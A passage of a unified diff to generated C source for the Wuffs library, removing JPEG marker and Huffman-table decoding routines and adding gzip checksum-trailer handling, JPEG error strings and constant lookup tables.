wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- continue; -- } else if (v_marker == 219u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- status = wuffs_jpeg__decoder__decode_dqt(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- continue; -- } else if (v_marker == 221u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- status = wuffs_jpeg__decoder__decode_dri(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; -+ if (num_bits_9 == 24) { -+ t_9 = ((uint32_t)(*scratch)); -+ break; - } -- continue; -- } else { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -- goto exit; -- } -- } else if (v_marker < 240u) { -- } else { -- if (v_marker == 254u) { -- } else { -- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -- goto exit; -+ num_bits_9 += 8u; -+ *scratch |= ((uint64_t)(num_bits_9)) << 56; - } - } -- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_payload_length; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; -- self->private_impl.f_payload_length = 0u; -+ v_decoded_length_want = t_9; -+ } -+ if ( ! self->private_impl.f_ignore_checksum && ((v_checksum_have != v_checksum_want) || (v_decoded_length_have != v_decoded_length_want))) { -+ status = wuffs_base__make_status(wuffs_gzip__error__bad_checksum); -+ goto exit; - } -- self->private_impl.f_call_sequence = 96u; - - ok: -- self->private_impl.p_do_decode_frame[0] = 0; -+ self->private_impl.p_do_transform_io = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_decode_frame[0].v_marker = v_marker; -+ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_transform_io.v_flags = v_flags; -+ self->private_data.s_do_transform_io.v_checksum_have = v_checksum_have; -+ self->private_data.s_do_transform_io.v_decoded_length_have = v_decoded_length_have; -+ self->private_data.s_do_transform_io.v_checksum_want = v_checksum_want; - - goto exit; - exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -43859,891 +44289,398 @@ wuffs_jpeg__decoder__do_decode_frame( - return status; - } - --// -------- func jpeg.decoder.decode_dht -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__decode_dht( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) - -- uint8_t v_c = 0; -- uint8_t v_tc = 0; -- uint8_t v_th = 0; -- uint8_t v_tc4_th = 0; -- uint32_t v_working_total_count = 0; -- uint32_t v_total_count = 0; -- uint32_t v_i = 0; -- bool v_failed = false; -+// ---------------- Status Codes Implementations - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+const char wuffs_jpeg__error__bad_dht_marker[] = "#jpeg: bad DHT marker"; -+const char wuffs_jpeg__error__bad_dqt_marker[] = "#jpeg: bad DQT marker"; -+const char wuffs_jpeg__error__bad_dri_marker[] = "#jpeg: bad DRI marker"; -+const char wuffs_jpeg__error__bad_sof_marker[] = "#jpeg: bad SOF marker"; -+const char wuffs_jpeg__error__bad_sos_marker[] = "#jpeg: bad SOS marker"; -+const char wuffs_jpeg__error__bad_header[] = "#jpeg: bad header"; -+const char wuffs_jpeg__error__bad_marker[] = "#jpeg: bad marker"; -+const char wuffs_jpeg__error__bad_scan_count[] = "#jpeg: bad scan count"; -+const char wuffs_jpeg__error__missing_huffman_table[] = "#jpeg: missing Huffman table"; -+const char wuffs_jpeg__error__missing_quantization_table[] = "#jpeg: missing Quantization table"; -+const char wuffs_jpeg__error__rejected_progressive_jpeg[] = "#jpeg: rejected progressive JPEG"; -+const char wuffs_jpeg__error__truncated_input[] = "#jpeg: truncated input"; -+const char wuffs_jpeg__error__unsupported_arithmetic_coding[] = "#jpeg: unsupported arithmetic coding"; -+const char wuffs_jpeg__error__unsupported_color_model[] = "#jpeg: unsupported color model"; -+const char wuffs_jpeg__error__unsupported_fractional_sampling[] = "#jpeg: unsupported fractional sampling"; -+const char wuffs_jpeg__error__unsupported_hierarchical_coding[] = "#jpeg: unsupported hierarchical coding"; -+const char wuffs_jpeg__error__unsupported_implicit_height[] = "#jpeg: unsupported implicit height"; -+const char wuffs_jpeg__error__unsupported_lossless_coding[] = "#jpeg: unsupported lossless coding"; -+const char wuffs_jpeg__error__unsupported_marker[] = "#jpeg: unsupported marker"; -+const char wuffs_jpeg__error__unsupported_precision_12_bits[] = "#jpeg: unsupported precision (12 bits)"; -+const char wuffs_jpeg__error__unsupported_precision_16_bits[] = "#jpeg: unsupported precision (16 bits)"; -+const char wuffs_jpeg__error__unsupported_precision[] = "#jpeg: unsupported precision"; -+const char wuffs_jpeg__error__unsupported_scan_count[] = "#jpeg: unsupported scan count"; -+const char wuffs_jpeg__error__internal_error_inconsistent_decoder_state[] = "#jpeg: internal error: inconsistent decoder state"; - -- uint32_t coro_susp_point = self->private_impl.p_decode_dht[0]; -- if (coro_susp_point) { -- v_tc4_th = self->private_data.s_decode_dht[0].v_tc4_th; -- v_total_count = self->private_data.s_decode_dht[0].v_total_count; -- v_i = self->private_data.s_decode_dht[0].v_i; -- } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+// ---------------- Private Consts - -- if (self->private_impl.f_sof_marker == 0u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } -- while (self->private_impl.f_payload_length > 0u) { -- if (self->private_impl.f_payload_length < 17u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } -- self->private_impl.f_payload_length -= 17u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if (((v_c >> 4u) > 1u) || ((v_c & 15u) > 3u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } -- v_tc = (v_c >> 4u); -- v_th = (v_c & 15u); -- v_tc4_th = ((uint8_t)(((v_tc * 4u) | v_th))); -- if ((self->private_impl.f_sof_marker == 192u) && ((v_tc4_th & 3u) > 1u)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } -- v_i = 0u; -- while (v_i < 16u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- self->private_data.f_dht_temp_counts[v_i] = t_1; -- } -- v_i += 1u; -- } -- v_working_total_count = 0u; -- v_i = 0u; -- while (v_i < 16u) { -- v_working_total_count = ((v_working_total_count + ((uint32_t)(self->private_data.f_dht_temp_counts[v_i]))) & 65535u); -- v_i += 1u; -- } -- if ((v_working_total_count <= 0u) || (256u < v_working_total_count)) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } -- v_total_count = v_working_total_count; -- if (self->private_impl.f_payload_length < v_total_count) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } -- self->private_impl.f_payload_length -= v_total_count; -- v_i = 0u; -- while (v_i < v_total_count) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_2 = *iop_a_src++; -- self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = t_2; -- } -- v_i += 1u; -- } -- while (v_i < 256u) { -- self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = 0u; -- v_i += 1u; -- } -- if ((v_tc4_th & 4u) == 0u) { -- v_i = 0u; -- while (v_i < v_total_count) { -- if (self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] > 15u) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } -- v_i += 1u; -- } -- } -- v_failed = wuffs_jpeg__decoder__calculate_huff_tables(self, v_tc4_th, v_total_count); -- if (v_failed) { -- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -- goto exit; -- } -- self->private_impl.f_seen_dht[v_tc4_th] = true; -- } -+static const uint8_t -+WUFFS_JPEG__UNZIG[80] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 1u, 8u, 16u, 9u, 2u, 3u, -+ 10u, 17u, 24u, 32u, 25u, 18u, 11u, 4u, -+ 5u, 12u, 19u, 26u, 33u, 40u, 48u, 41u, -+ 34u, 27u, 20u, 13u, 6u, 7u, 14u, 21u, -+ 28u, 35u, 42u, 49u, 56u, 57u, 50u, 43u, -+ 36u, 29u, 22u, 15u, 23u, 30u, 37u, 44u, -+ 51u, 58u, 59u, 52u, 45u, 38u, 31u, 39u, -+ 46u, 53u, 60u, 61u, 54u, 47u, 55u, 62u, -+ 63u, 63u, 63u, 63u, 63u, 63u, 63u, 63u, -+ 63u, 63u, 63u, 63u, 63u, 63u, 63u, 63u, -+}; - -- goto ok; -- ok: -- self->private_impl.p_decode_dht[0] = 0; -- goto exit; -- } -+static const uint8_t -+WUFFS_JPEG__BIAS_AND_CLAMP[1024] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, -+ 136u, 137u, 138u, 139u, 140u, 141u, 142u, 143u, -+ 144u, 145u, 146u, 147u, 148u, 149u, 150u, 151u, -+ 152u, 153u, 154u, 155u, 156u, 157u, 158u, 159u, -+ 160u, 161u, 162u, 163u, 164u, 165u, 166u, 167u, -+ 168u, 169u, 170u, 171u, 172u, 173u, 174u, 175u, -+ 176u, 177u, 178u, 179u, 180u, 181u, 182u, 183u, -+ 184u, 185u, 186u, 187u, 188u, 189u, 190u, 191u, -+ 192u, 193u, 194u, 195u, 196u, 197u, 198u, 199u, -+ 200u, 201u, 202u, 203u, 204u, 205u, 206u, 207u, -+ 208u, 209u, 210u, 211u, 212u, 213u, 214u, 215u, -+ 216u, 217u, 218u, 219u, 220u, 221u, 222u, 223u, -+ 224u, 225u, 226u, 227u, 228u, 229u, 230u, 231u, -+ 232u, 233u, 234u, 235u, 236u, 237u, 238u, 239u, -+ 240u, 241u, 242u, 243u, 244u, 245u, 246u, 247u, -+ 248u, 249u, 250u, 251u, 252u, 253u, 254u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 1u, 2u, 3u, 4u, 5u, 6u, 7u, -+ 8u, 9u, 10u, 11u, 12u, 13u, 14u, 15u, -+ 16u, 17u, 18u, 19u, 20u, 21u, 22u, 23u, -+ 24u, 25u, 26u, 27u, 28u, 29u, 30u, 31u, -+ 32u, 33u, 34u, 35u, 36u, 37u, 38u, 39u, -+ 40u, 41u, 42u, 43u, 44u, 45u, 46u, 47u, -+ 48u, 49u, 50u, 51u, 52u, 53u, 54u, 55u, -+ 56u, 57u, 58u, 59u, 60u, 61u, 62u, 63u, -+ 64u, 65u, 66u, 67u, 68u, 69u, 70u, 71u, -+ 72u, 73u, 74u, 75u, 76u, 77u, 78u, 79u, -+ 80u, 81u, 82u, 83u, 84u, 85u, 86u, 87u, -+ 88u, 89u, 90u, 91u, 92u, 93u, 94u, 95u, -+ 96u, 97u, 98u, 99u, 100u, 101u, 102u, 103u, -+ 104u, 105u, 106u, 107u, 108u, 109u, 110u, 111u, -+ 112u, 113u, 114u, 115u, 116u, 117u, 118u, 119u, -+ 120u, 121u, 122u, 123u, 124u, 125u, 126u, 127u, -+}; - -- goto suspend; -- suspend: -- self->private_impl.p_decode_dht[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_dht[0].v_tc4_th = v_tc4_th; -- self->private_data.s_decode_dht[0].v_total_count = v_total_count; -- self->private_data.s_decode_dht[0].v_i = v_i; -+static const uint16_t -+WUFFS_JPEG__EXTEND[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 65535u, 65533u, 65529u, 65521u, 65505u, 65473u, 65409u, -+ 65281u, 65025u, 64513u, 63489u, 61441u, 57345u, 49153u, 32769u, -+}; - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+static const uint8_t -+WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 1u, 5u, 1u, 1u, 1u, 1u, -+ 1u, 1u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 1u, 2u, 3u, 4u, 5u, 6u, -+ 7u, 8u, 9u, 10u, 11u, -+}; - -- return status; --} -+static const uint8_t -+WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1u, 0u, 3u, 1u, 1u, 1u, 1u, 1u, -+ 1u, 1u, 1u, 1u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 1u, 2u, 3u, 4u, 5u, 6u, -+ 7u, 8u, 9u, 10u, 11u, -+}; - --// -------- func jpeg.decoder.calculate_huff_tables -+static const uint8_t -+WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 16u, 0u, 2u, 1u, 3u, 3u, 2u, 4u, -+ 3u, 5u, 5u, 4u, 4u, 0u, 0u, 1u, -+ 125u, 1u, 2u, 3u, 0u, 4u, 17u, 5u, -+ 18u, 33u, 49u, 65u, 6u, 19u, 81u, 97u, -+ 7u, 34u, 113u, 20u, 50u, 129u, 145u, 161u, -+ 8u, 35u, 66u, 177u, 193u, 21u, 82u, 209u, -+ 240u, 36u, 51u, 98u, 114u, 130u, 9u, 10u, -+ 22u, 23u, 24u, 25u, 26u, 37u, 38u, 39u, -+ 40u, 41u, 42u, 52u, 53u, 54u, 55u, 56u, -+ 57u, 58u, 67u, 68u, 69u, 70u, 71u, 72u, -+ 73u, 74u, 83u, 84u, 85u, 86u, 87u, 88u, -+ 89u, 90u, 99u, 100u, 101u, 102u, 103u, 104u, -+ 105u, 106u, 115u, 116u, 117u, 118u, 119u, 120u, -+ 121u, 122u, 131u, 132u, 133u, 134u, 135u, 136u, -+ 137u, 138u, 146u, 147u, 148u, 149u, 150u, 151u, -+ 152u, 153u, 154u, 162u, 163u, 164u, 165u, 166u, -+ 167u, 168u, 169u, 170u, 178u, 179u, 180u, 181u, -+ 182u, 183u, 184u, 185u, 186u, 194u, 195u, 196u, -+ 197u, 198u, 199u, 200u, 201u, 202u, 210u, 211u, -+ 212u, 213u, 214u, 215u, 216u, 217u, 218u, 225u, -+ 226u, 227u, 228u, 229u, 230u, 231u, 232u, 233u, -+ 234u, 241u, 242u, 243u, 244u, 245u, 246u, 247u, -+ 248u, 249u, 250u, -+}; -+ -+static const uint8_t -+WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 17u, 0u, 2u, 1u, 2u, 4u, 4u, 3u, -+ 4u, 7u, 5u, 4u, 4u, 0u, 1u, 2u, -+ 119u, 0u, 1u, 2u, 3u, 17u, 4u, 5u, -+ 33u, 49u, 6u, 18u, 65u, 81u, 7u, 97u, -+ 113u, 19u, 34u, 50u, 129u, 8u, 20u, 66u, -+ 145u, 161u, 177u, 193u, 9u, 35u, 51u, 82u, -+ 240u, 21u, 98u, 114u, 209u, 10u, 22u, 36u, -+ 52u, 225u, 37u, 241u, 23u, 24u, 25u, 26u, -+ 38u, 39u, 40u, 41u, 42u, 53u, 54u, 55u, -+ 56u, 57u, 58u, 67u, 68u, 69u, 70u, 71u, -+ 72u, 73u, 74u, 83u, 84u, 85u, 86u, 87u, -+ 88u, 89u, 90u, 99u, 100u, 101u, 102u, 103u, -+ 104u, 105u, 106u, 115u, 116u, 117u, 118u, 119u, -+ 120u, 121u, 122u, 130u, 131u, 132u, 133u, 134u, -+ 135u, 136u, 137u, 138u, 146u, 147u, 148u, 149u, -+ 150u, 151u, 152u, 153u, 154u, 162u, 163u, 164u, -+ 165u, 166u, 167u, 168u, 169u, 170u, 178u, 179u, -+ 180u, 181u, 182u, 183u, 184u, 185u, 186u, 194u, -+ 195u, 196u, 197u, 198u, 199u, 200u, 201u, 202u, -+ 210u, 211u, 212u, 213u, 214u, 215u, 216u, 217u, -+ 218u, 226u, 227u, 228u, 229u, 230u, 231u, 232u, -+ 233u, 234u, 242u, 243u, 244u, 245u, 246u, 247u, -+ 248u, 249u, 250u, -+}; -+ -+#define WUFFS_JPEG__QUIRKS_BASE 1220532224u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE --static bool --wuffs_jpeg__decoder__calculate_huff_tables( -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__decode_idct( - wuffs_jpeg__decoder* self, -- uint8_t a_tc4_th, -- uint32_t a_total_count) { -- uint32_t v_i = 0; -- uint8_t v_j = 0; -- uint8_t v_k = 0; -- uint32_t v_bit_length_minus_one = 0; -- uint8_t v_bit_length = 0; -- uint32_t v_bit_string = 0; -- uint32_t v_slow = 0; -- uint8_t v_prefix = 0; -- uint16_t v_fast = 0; -- uint32_t v_reps = 0; -+ wuffs_base__slice_u8 a_dst_buffer, -+ uint64_t a_dst_stride, -+ uint32_t a_q); - -- v_i = 0u; -- v_k = 0u; -- v_bit_length_minus_one = 0u; -- while (v_i < a_total_count) { -- while (v_k >= self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { -- v_k = 0u; -- v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); -- } --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_k += 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- self->private_data.f_dht_temp_bit_lengths[v_i] = ((uint8_t)((v_bit_length_minus_one + 1u))); -- v_i += 1u; -- } -- v_bit_length = 0u; -- v_bit_string = 0u; -- v_i = 0u; -- while (v_i < a_total_count) { -- while (v_bit_length < self->private_data.f_dht_temp_bit_lengths[v_i]) { -- if (v_bit_length >= 16u) { -- return true; -- } --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_bit_length += 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- v_bit_string <<= 1u; -- } -- self->private_data.f_dht_temp_bit_strings[v_i] = ((uint16_t)(v_bit_string)); -- v_bit_string += 1u; -- if ((v_bit_string >> v_bit_length) > 0u) { -- return true; -- } -- v_i += 1u; -- } -- v_k = 0u; -- v_bit_length_minus_one = 0u; -- while (true) { -- if (self->private_data.f_dht_temp_counts[v_bit_length_minus_one] == 0u) { -- self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = 0u; -- } else { -- v_slow = (255u & ((uint32_t)(((uint32_t)(v_k)) - ((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_k]))))); -- v_k += self->private_data.f_dht_temp_counts[v_bit_length_minus_one]; -- self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = (v_slow | ((((uint32_t)(self->private_data.f_dht_temp_bit_strings[((uint8_t)(v_k - 1u))])) + 1u) << 8u)); -- } -- v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); -- if (v_bit_length_minus_one == 0u) { -- break; -- } -- } -- v_i = 0u; -- while (v_i < 256u) { -- self->private_impl.f_huff_tables_fast[a_tc4_th][v_i] = 65535u; -- v_i += 1u; -- } -- v_j = 0u; -- v_bit_length_minus_one = 0u; -- while (v_bit_length_minus_one < 8u) { -- v_k = 0u; -- while (v_k < self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { -- v_prefix = ((uint8_t)((((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_j])) << (7u - v_bit_length_minus_one)))); -- v_fast = ((uint16_t)(((((uint32_t)((v_bit_length_minus_one + 1u))) << 8u) | ((uint32_t)(self->private_impl.f_huff_tables_symbols[a_tc4_th][v_j]))))); -- v_reps = (((uint32_t)(1u)) << (7u - v_bit_length_minus_one)); -- while (v_reps > 0u) { -- self->private_impl.f_huff_tables_fast[a_tc4_th][v_prefix] = v_fast; -- v_prefix += 1u; -- v_reps -= 1u; -- } --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_k += 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- v_j += 1u; -- } -- v_bit_length_minus_one += 1u; -- } -- return false; --} -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__decode_idct__choosy_default( -+ 